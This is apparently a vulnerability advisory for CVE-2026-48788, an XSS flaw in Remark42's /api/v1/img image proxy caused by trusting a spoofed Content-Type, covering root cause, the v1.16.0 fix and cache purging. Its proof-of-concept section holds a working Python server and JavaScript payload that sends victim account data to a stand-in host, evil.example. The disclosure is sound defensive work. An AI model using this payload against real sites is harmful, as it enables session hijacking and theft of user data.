CVE-2026-48788: Remark42 Image Proxy XSS via Content-Type Spoofing
Remark42's image proxy blindly trusts the Content-Type header from remote servers, so an attacker can serve HTML/JavaScript disguised as an image and have it executed in the browser under Remark42's…
The problem
The /api/v1/img image proxy in Remark42 1.6.0 through 1.15.0 checks only the remote server's Content-Type header to decide whether a fetched resource is an image. It never validates the actual bytes.
When the proxy re-serves the downloaded bytes it calls http.DetectContentType, which sniffs the real content and emits text/html for an HTML body. The browser then renders attacker-controlled JavaScript as a document in Remark42's origin, giving the script full same-origin access: it can read cookies, attach the XSRF token, and make authenticated API calls on behalf of the victim, including admin actions if the victim is an admin.
No Remark42 account is required to trigger this.
Proof of concept
A working proof-of-concept for CVE-2026-48788 in github.com/umputun/remark42, with the exact payload below.
# 1. Attacker spins up a minimal HTTP server that lies about Content-Type
import http.server, base64, urllib.parse
BODY = b'<!DOCTYPE html><script>fetch("/api/v1/user",{credentials:"include"}).then(r=>r.json()).then(d=>fetch("https://evil.example/"+btoa(JSON.stringify(d))))</script>'
class Handler(http.server.BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.send_header("Content-Type", "image/png") # accepted by downloadImage()
self.send_header("Content-Length", str(len(BODY)))
self.end_headers()
self.wfile.write(BODY) # real bytes are HTML/JS; ImgContentType() returns text/html
http.server.HTTPServer(("", 8888), Handler).serve_forever()
# 2. Deliver this link to the victim (no account needed):
# https://<remark42-host>/api/v1/img?src=<base64(http://attacker:8888/)>The root cause is a CWE-436 interpretation conflict between the download path and the serve path. downloadImage() in backend/app/rest/proxy/image.go gates on strings.HasPrefix(contentType, "image/") using the *remote* header, so image/png passes unconditionally. ImgContentType() in backend/app/store/image/image.go then calls http.DetectContentType on the raw bytes, which correctly identifies the HTML and returns text/html.
The browser renders it as a document in Remark42's origin.
The patch in v1.16.0 adds rest.SafeImgContentType, which validates the sniffed type against a strict allowlist (image/png, image/jpeg, image/gif, image/webp, image/bmp, image/x-icon). Any other type, including text/html and image/svg+xml, causes a 415 response with no body echo.
Every image response now also carries Content-Security-Policy: default-src 'none'; sandbox; frame-ancestors 'none' and X-Content-Type-Options: nosniff as defense-in-depth.
The fix
Upgrade to Remark42 v1.16.0. Operators running a CDN or edge cache in front of Remark42 should purge /api/v1/img after deploying, because browsers holding a pre-fix text/html response cached with Cache-Control: max-age=2592000 will continue serving it locally until TTL expiry.
The ETag bump in v1.16.0 ("v2:<base64(src)>") forces revalidation only on clients that contact the origin during the cached lifetime.
Related research
- critical · 9.9CVE-2026-50551CVE-2026-50551: SiYuan Stored XSS to RCE via Attribute View Asset Cell
- critical · 9.9CVE-2026-54067CVE-2026-54067: SiYuan Stored XSS to RCE via CSS Snippet Style Tag Breakout
- high · 7.1CVE-2026-54070CVE-2026-54070: SiYuan Stored XSS via Bazaar README Event Handler Bypass
- critical · 9.9CVE-2026-54158CVE-2026-54158: SiYuan Stored XSS to RCE via Unescaped Attribute-View Cell Rendering